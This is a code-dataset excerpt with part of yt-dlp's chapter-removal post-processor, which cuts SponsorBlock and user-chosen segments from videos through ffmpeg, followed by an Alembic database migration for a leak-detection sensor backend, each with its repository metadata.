if not cuts:\n return [], info\n elif not info['chapters']:\n self.report_warning('You have requested to remove the entire video, which is not possible')\n return [], info\n\n original_duration, info['duration'] = info.get('duration'), info['chapters'][-1]['end_time']\n if self._duration_mismatch(real_duration, original_duration, 1):\n if not self._duration_mismatch(real_duration, info['duration']):\n self.to_screen(f'Skipping {self.pp_key()} since the video appears to be already cut')\n return [], info\n if not info.get('__real_download'):\n raise PostProcessingError('Cannot cut video since the real and expected durations mismatch. '\n 'Different chapters may have already been removed')\n else:\n self.write_debug('Expected and actual durations mismatch')\n\n concat_opts = self._make_concat_opts(cuts, real_duration)\n self.write_debug('Concat spec = %s' % ', '.join(f'{c.get(\"inpoint\", 0.0)}-{c.get(\"outpoint\", \"inf\")}' for c in concat_opts))\n\n def remove_chapters(file, is_sub):\n return file, self.remove_chapters(file, cuts, concat_opts, self._force_keyframes and not is_sub)\n\n in_out_files = [remove_chapters(info['filepath'], False)]\n in_out_files.extend(remove_chapters(in_file, True) for in_file in self._get_supported_subs(info))\n\n # Renaming should only happen after all files are processed\n files_to_remove = []\n for in_file, out_file in in_out_files:\n mtime = os.stat(in_file).st_mtime\n uncut_file = prepend_extension(in_file, 'uncut')\n os.replace(in_file, uncut_file)\n os.replace(out_file, in_file)\n self.try_utime(in_file, mtime, mtime)\n files_to_remove.append(uncut_file)\n\n return files_to_remove, info\n\n def _mark_chapters_to_remove(self, chapters, sponsor_chapters):\n if self._remove_chapters_patterns:\n warn_no_chapter_to_remove = True\n if not chapters:\n self.to_screen('Chapter information is unavailable')\n warn_no_chapter_to_remove = False\n for c in chapters:\n if any(regex.search(c['title']) for regex in self._remove_chapters_patterns):\n c['remove'] = True\n warn_no_chapter_to_remove = False\n if warn_no_chapter_to_remove:\n self.to_screen('There are no chapters matching the regex')\n\n if self._remove_sponsor_segments:\n warn_no_chapter_to_remove = True\n if not sponsor_chapters:\n self.to_screen('SponsorBlock information is unavailable')\n warn_no_chapter_to_remove = False\n for c in sponsor_chapters:\n if c['category'] in self._remove_sponsor_segments:\n c['remove'] = True\n warn_no_chapter_to_remove = False\n if warn_no_chapter_to_remove:\n self.to_screen('There are no matching SponsorBlock chapters')\n\n sponsor_chapters.extend({\n 'start_time': start,\n 'end_time': end,\n 'category': 'manually_removed',\n '_categories': [('manually_removed', start, end, 'Manually removed')],\n 'remove': True,\n } for start, end in self._ranges_to_remove)\n\n return chapters, sponsor_chapters\n\n def _get_supported_subs(self, info):\n for sub in (info.get('requested_subtitles') or {}).values():\n sub_file = sub.get('filepath')\n # The file might have been removed by --embed-subs\n if not sub_file or not os.path.exists(sub_file):\n continue\n ext = sub['ext']\n if ext not in FFmpegSubtitlesConvertorPP.SUPPORTED_EXTS:\n self.report_warning(f'Cannot remove chapters from external {ext} subtitles; \"{sub_file}\" is now out of sync')\n continue\n # TODO: create __real_download for subs?\n yield sub_file\n\n def _remove_marked_arrange_sponsors(self, chapters):\n # Store cuts separately, since adjacent and overlapping cuts must be merged.\n cuts = []\n\n def append_cut(c):\n assert 'remove' in c, 'Not a cut is appended to cuts'\n last_to_cut = cuts[-1] if cuts else None\n if last_to_cut and last_to_cut['end_time'] >= c['start_time']:\n last_to_cut['end_time'] = max(last_to_cut['end_time'], c['end_time'])\n else:\n cuts.append(c)\n return len(cuts) - 1\n\n def excess_duration(c):\n # Cuts that are completely within the chapter reduce chapters' duration.\n # Since cuts can overlap, excess duration may be less that the sum of cuts' durations.\n # To avoid that, chapter stores the index to the fist cut within the chapter,\n # instead of storing excess duration. append_cut ensures that subsequent cuts (if any)\n # will be merged with previous ones (if necessary).\n cut_idx, excess = c.pop('cut_idx', len(cuts)), 0\n while cut_idx < len(cuts):\n cut = cuts[cut_idx]\n if cut['start_time'] >= c['end_time']:\n break\n if cut['end_time'] > c['start_time']:\n excess += min(cut['end_time'], c['end_time'])\n excess -= max(cut['start_time'], c['start_time'])\n cut_idx += 1\n return excess\n\n new_chapters = []\n\n def append_chapter(c):\n assert 'remove' not in c, 'Cut is appended to chapters'\n length = c['end_time'] - c['start_time'] - excess_duration(c)\n # Chapter is completely covered by cuts or sponsors.\n if length <= 0:\n return\n start = new_chapters[-1]['end_time'] if new_chapters else 0\n c.update(start_time=start, end_time=start + length)\n new_chapters.append(c)\n\n # Turn into a priority queue, index is a tie breaker.\n # Plain stack sorted by start_time is not enough: after splitting the chapter,\n # the part returned to the stack is not guaranteed to have start_time\n # less than or equal to the that of the stack's head.\n chapters = [(c['start_time'], i, c) for i, c in enumerate(chapters)]\n heapq.heapify(chapters)\n\n _, cur_i, cur_chapter = heapq.heappop(chapters)\n while chapters:\n _, i, c = heapq.heappop(chapters)\n # Non-overlapping chapters or cuts can be appended directly. However,\n # adjacent non-overlapping cuts must be merged, which is handled by append_cut.\n if cur_chapter['end_time'] <= c['start_time']:\n (append_chapter if 'remove' not in cur_chapter else append_cut)(cur_chapter)\n cur_i, cur_chapter = i, c\n continue\n\n # Eight possibilities for overlapping chapters: (cut, cut), (cut, sponsor),\n # (cut, normal), (sponsor, cut), (normal, cut), (sponsor, sponsor),\n # (sponsor, normal), and (normal, sponsor). There is no (normal, normal):\n # normal chapters are assumed not to overlap.\n if 'remove' in cur_chapter:\n # (cut, cut): adjust end_time.\n if 'remove' in c:\n cur_chapter['end_time'] = max(cur_chapter['end_time'], c['end_time'])\n # (cut, sponsor/normal): chop the beginning of the later chapter\n # (if it's not completely hidden by the cut). Push to the priority queue\n # to restore sorting by start_time: with beginning chopped, c may actually\n # start later than the remaining chapters from the queue.\n elif cur_chapter['end_time'] < c['end_time']:\n c['start_time'] = cur_chapter['end_time']\n c['_was_cut'] = True\n heapq.heappush(chapters, (c['start_time'], i, c))\n # (sponsor/normal, cut).\n elif 'remove' in c:\n cur_chapter['_was_cut'] = True\n # Chop the end of the current chapter if the cut is not contained within it.\n # Chopping the end doesn't break start_time sorting, no PQ push is necessary.\n if cur_chapter['end_time'] <= c['end_time']:\n cur_chapter['end_time'] = c['start_time']\n append_chapter(cur_chapter)\n cur_i, cur_chapter = i, c\n continue\n # Current chapter contains the cut within it. If the current chapter is\n # a sponsor chapter, check whether the categories before and after the cut differ.\n if '_categories' in cur_chapter:\n after_c = dict(cur_chapter, start_time=c['end_time'], _categories=[])\n cur_cats = []\n for cat_start_end in cur_chapter['_categories']:\n if cat_start_end[1] < c['start_time']:\n cur_cats.append(cat_start_end)\n if cat_start_end[2] > c['end_time']:\n after_c['_categories'].append(cat_start_end)\n cur_chapter['_categories'] = cur_cats\n if cur_chapter['_categories'] != after_c['_categories']:\n # Categories before and after the cut differ: push the after part to PQ.\n heapq.heappush(chapters, (after_c['start_time'], cur_i, after_c))\n cur_chapter['end_time'] = c['start_time']\n append_chapter(cur_chapter)\n cur_i, cur_chapter = i, c\n continue\n # Either sponsor categories before and after the cut are the same or\n # we're dealing with a normal chapter. Just register an outstanding cut:\n # subsequent append_chapter will reduce the duration.\n cur_chapter.setdefault('cut_idx', append_cut(c))\n # (sponsor, normal): if a normal chapter is not completely overlapped,\n # chop the beginning of it and push it to PQ.\n elif '_categories' in cur_chapter and '_categories' not in c:\n if cur_chapter['end_time'] < c['end_time']:\n c['start_time'] = cur_chapter['end_time']\n c['_was_cut'] = True\n heapq.heappush(chapters, (c['start_time'], i, c))\n # (normal, sponsor) and (sponsor, sponsor)\n else:\n assert '_categories' in c, 'Normal chapters overlap'\n cur_chapter['_was_cut'] = True\n c['_was_cut'] = True\n # Push the part after the sponsor to PQ.\n if cur_chapter['end_time'] > c['end_time']:\n # deepcopy to make categories in after_c and cur_chapter/c refer to different lists.\n after_c = dict(copy.deepcopy(cur_chapter), start_time=c['end_time'])\n heapq.heappush(chapters, (after_c['start_time'], cur_i, after_c))\n # Push the part after the overlap to PQ.\n elif c['end_time'] > cur_chapter['end_time']:\n after_cur = dict(copy.deepcopy(c), start_time=cur_chapter['end_time'])\n heapq.heappush(chapters, (after_cur['start_time'], cur_i, after_cur))\n c['end_time'] = cur_chapter['end_time']\n # (sponsor, sponsor): merge categories in the overlap.\n if '_categories' in cur_chapter:\n c['_categories'] = cur_chapter['_categories'] + c['_categories']\n # Inherit the cuts that the current chapter has accumulated within it.\n if 'cut_idx' in cur_chapter:\n c['cut_idx'] = cur_chapter['cut_idx']\n cur_chapter['end_time'] = c['start_time']\n append_chapter(cur_chapter)\n cur_i, cur_chapter = i, c\n (append_chapter if 'remove' not in cur_chapter else append_cut)(cur_chapter)\n return self._remove_tiny_rename_sponsors(new_chapters), cuts\n\n def _remove_tiny_rename_sponsors(self, chapters):\n new_chapters = []\n for i, c in enumerate(chapters):\n # Merge with the previous/next if the chapter is tiny.\n # Only tiny chapters resulting from a cut can be skipped.\n # Chapters that were already tiny in the original list will be preserved.\n if (('_was_cut' in c or '_categories' in c)\n and c['end_time'] - c['start_time'] < _TINY_CHAPTER_DURATION):\n if not new_chapters:\n # Prepend tiny chapter to the next one if possible.\n if i < len(chapters) - 1:\n chapters[i + 1]['start_time'] = c['start_time']\n continue\n else:\n old_c = new_chapters[-1]\n if i < len(chapters) - 1:\n next_c = chapters[i + 1]\n # Not a typo: key names in old_c and next_c are really different.\n prev_is_sponsor = 'categories' in old_c\n next_is_sponsor = '_categories' in next_c\n # Preferentially prepend tiny normals to normals and sponsors to sponsors.\n if (('_categories' not in c and prev_is_sponsor and not next_is_sponsor)\n or ('_categories' in c and not prev_is_sponsor and next_is_sponsor)):\n next_c['start_time'] = c['start_time']\n continue\n old_c['end_time'] = c['end_time']\n continue\n\n c.pop('_was_cut', None)\n cats = c.pop('_categories', None)\n if cats:\n category, _, _, category_name = min(cats, key=lambda c: c[2] - c[1])\n c.update({\n 'category': category,\n 'categories': orderedSet(x[0] for x in cats),\n 'name': category_name,\n 'category_names': orderedSet(x[3] for x in cats),\n })\n c['title'] = self._downloader.evaluate_outtmpl(self._sponsorblock_chapter_title, c.copy())\n # Merge identically named sponsors.\n if (new_chapters and 'categories' in new_chapters[-1]\n and new_chapters[-1]['title'] == c['title']):\n new_chapters[-1]['end_time'] = c['end_time']\n continue\n new_chapters.append(c)\n return new_chapters\n\n def remove_chapters(self, filename, ranges_to_cut, concat_opts, force_keyframes=False):\n in_file = filename\n out_file = prepend_extension(in_file, 'temp')\n if force_keyframes:\n in_file = self.force_keyframes(in_file, (t for c in ranges_to_cut for t in (c['start_time'], c['end_time'])))\n self.to_screen(f'Removing chapters from {filename}')\n self.concat_files([in_file] * len(concat_opts), out_file, concat_opts)\n if in_file != filename:\n self._delete_downloaded_files(in_file, msg=None)\n return out_file\n\n @staticmethod\n def _make_concat_opts(chapters_to_remove, duration):\n opts = [{}]\n for s in chapters_to_remove:\n # Do not create 0 duration chunk at the beginning.\n if s['start_time'] == 0:\n opts[-1]['inpoint'] = f'{s[\"end_time\"]:.6f}'\n continue\n opts[-1]['outpoint'] = f'{s[\"start_time\"]:.6f}'\n # Do not create 0 duration chunk at the end.\n if s['end_time'] < duration:\n opts.append({'inpoint': f'{s[\"end_time\"]:.6f}'})\n return opts\n", "repo_name": "yt-dlp/yt-dlp", "sub_path": "yt_dlp/postprocessor/modify_chapters.py", "file_name": "modify_chapters.py", "file_ext": "py", "file_size_in_byte": 17821, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 60520, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ffmpeg.FFmpegPostProcessor", "line_number": 14, "usage_type": "name"}, {"api_name": "ffmpeg.FFmpegPostProcessor.__init__", "line_number": 17, "usage_type": "call"}, {"api_name": "ffmpeg.FFmpegPostProcessor", "line_number": 17, "usage_type": "name"}, {"api_name": "sponsorblock.SponsorBlockPP.NON_SKIPPABLE_CATEGORIES.keys", "line_number": 19, "usage_type": "call"}, {"api_name": "sponsorblock.SponsorBlockPP.NON_SKIPPABLE_CATEGORIES", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sponsorblock.SponsorBlockPP", "line_number": 19, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 29, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 30, "usage_type": "call"}, {"api_name": "utils.PostProcessingError", "line_number": 51, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.prepend_extension", "line_number": 69, "usage_type": "call"}, {"api_name": "os.replace", "line_number": 70, "usage_type": "call"}, {"api_name": "os.replace", "line_number": 71, "usage_type": "call"}, {"api_name": "common.PostProcessor._restrict_to", "line_number": 24, "usage_type": "call"}, {"api_name": "common.PostProcessor", "line_number": 24, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "ffmpeg.FFmpegSubtitlesConvertorPP.SUPPORTED_EXTS", "line_number": 119, "usage_type": "attribute"}, {"api_name": "ffmpeg.FFmpegSubtitlesConvertorPP", "line_number": 119, "usage_type": "name"}, {"api_name": "heapq.heapify", "line_number": 172, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 174, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 176, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 199, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 223, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 238, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 247, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 248, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 251, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 252, "usage_type": "call"}, {"api_name": "utils.orderedSet", "line_number": 300, "usage_type": "call"}, {"api_name": "utils.orderedSet", "line_number": 302, "usage_type": "call"}, {"api_name": "utils.prepend_extension", "line_number": 315, "usage_type": "call"}]} {"seq_id": "72238349693", "text": "\"\"\"empty message\n\nRevision ID: 1a186b2aa013\nRevises: \nCreate Date: 2023-09-26 19:10:52.948131\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = '1a186b2aa013'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('sensors_configurations',\n sa.Column('pinned', sa.Boolean(), nullable=False),\n sa.Column('interactive_feedback_mode', sa.Boolean(), nullable=False),\n sa.Column('anomaly_detection_initial_baseline_raw', sa.BLOB(), nullable=False),\n sa.Column('last_baseline_selection_timestamp', sa.DateTime(), nullable=True),\n sa.Column('last_baseline_update_timestamp', sa.DateTime(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_sensors_configurations'))\n )\n op.create_table('system_events',\n sa.Column('type', sa.String(), nullable=False),\n sa.Column('message', sa.String(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_system_events'))\n )\n op.create_table('templates',\n sa.Column('currents_path', sa.String(), nullable=False),\n sa.Column('waves_path', sa.String(), nullable=False),\n sa.Column('simulated_leaks_path', sa.String(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.Column('angle_from_north', sa.Float(), nullable=False),\n sa.Column('height', sa.Float(), nullable=True),\n sa.Column('z_roof', sa.Float(), nullable=True),\n sa.Column('porosity', sa.JSON(), nullable=True),\n sa.Column('wall_area', sa.JSON(), nullable=True),\n sa.Column('inclination', sa.JSON(), nullable=True),\n sa.Column('internal_volume', sa.Float(), nullable=True),\n sa.Column('length', sa.Float(), nullable=True),\n sa.Column('width', sa.Float(), nullable=True),\n sa.Column('field_id', sa.Integer(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_templates'))\n )\n op.create_table('sensors',\n sa.Column('name', sa.String(), nullable=False),\n sa.Column('x', sa.Float(), nullable=False),\n sa.Column('y', sa.Float(), nullable=False),\n sa.Column('z', sa.Float(), nullable=False),\n sa.Column('configuration_id', sa.Integer(), nullable=False),\n sa.Column('template_id', sa.Integer(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['configuration_id'], ['sensors_configurations.id'], name=op.f('fk_sensors_configuration_id_sensors_configurations')),\n sa.ForeignKeyConstraint(['template_id'], ['templates.id'], name=op.f('fk_sensors_template_id_templates')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_sensors')),\n sa.UniqueConstraint('name', name=op.f('uq_sensors_name'))\n )\n op.create_table('sensors_events',\n sa.Column('type', sa.String(), nullable=False),\n sa.Column('sensor_id', sa.Integer(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['sensor_id'], ['sensors.id'], name=op.f('fk_sensors_events_sensor_id_sensors')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_sensors_events'))\n )\n op.create_table('time_series_data',\n sa.Column('ppmv', sa.Float(), nullable=False),\n sa.Column('timestamp', sa.DateTime(), nullable=False),\n sa.Column('sensor_id', sa.Integer(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['sensor_id'], ['sensors.id'], name=op.f('fk_time_series_data_sensor_id_sensors'), ondelete='RESTRICT'),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_time_series_data'))\n )\n op.create_table('anomaly_detections',\n sa.Column('value', sa.String(), nullable=False),\n sa.Column('interactive_feedback_mode', sa.Boolean(), nullable=False),\n sa.Column('time_series_data_id', sa.Integer(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['time_series_data_id'], ['time_series_data.id'], name=op.f('fk_anomaly_detections_time_series_data_id_time_series_data')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_anomaly_detections'))\n )\n op.create_table('simulation_detections',\n sa.Column('leakage', sa.JSON(), nullable=False),\n sa.Column('concentrations', sa.String(), nullable=False),\n sa.Column('anomaly_detection_id', sa.Integer(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['anomaly_detection_id'], ['anomaly_detections.id'], name=op.f('fk_simulation_detections_anomaly_detection_id_anomaly_detections')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_simulation_detections'))\n )\n op.create_table('estimations_summaries',\n sa.Column('result', sa.String(), nullable=False),\n sa.Column('detection_id', sa.Integer(), nullable=True),\n sa.Column('sensor_id', sa.Integer(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['detection_id'], ['simulation_detections.id'], name=op.f('fk_estimations_summaries_detection_id_simulation_detections'), ondelete='RESTRICT'),\n sa.ForeignKeyConstraint(['sensor_id'], ['sensors.id'], name=op.f('fk_estimations_summaries_sensor_id_sensors'), ondelete='RESTRICT'),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_estimations_summaries'))\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('estimations_summaries')\n op.drop_table('simulation_detections')\n op.drop_table('anomaly_detections')\n op.drop_table('time_series_data')\n op.drop_table('sensors_events')\n op.drop_table('sensors')\n op.drop_table('templates')\n op.drop_table('system_events')\n op.drop_table('sensors_configurations')\n # ### end Alembic commands ###\n", "repo_name": "KITRUM/leak_detection_backend", "sub_path": "src/infrastructure/database/migrations/versions/1a186b2aa013_.py", "file_name": "1a186b2aa013_.py", "file_ext": "py", "file_size_in_byte": 5952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "alembic.op.create_table", "line_number": 20, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 20, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.BLOB", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 33, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.JSON", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.JSON", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.JSON", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 51, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 51, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 51, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 53, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 53, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 61, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 61, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 61, "usage_type": "name"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 62, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 62, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 62, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 63, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 63, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 63, "usage_type": "name"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 64, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 64, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 64, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 66, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 66, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 67, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 67, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 68, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 68, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 69, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 69, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 70, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 70, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 70, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 71, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 71, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 71, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 73, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 73, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 74, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 74, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 75, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 75, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 76, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 76, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 77, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 77, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 78, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 78, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 78, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 79, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 79, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 79, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 81, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 81, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 82, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 82, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 84, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 84, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 86, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 86, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 86, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 87, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 87, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 87, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 89, "usage_type": 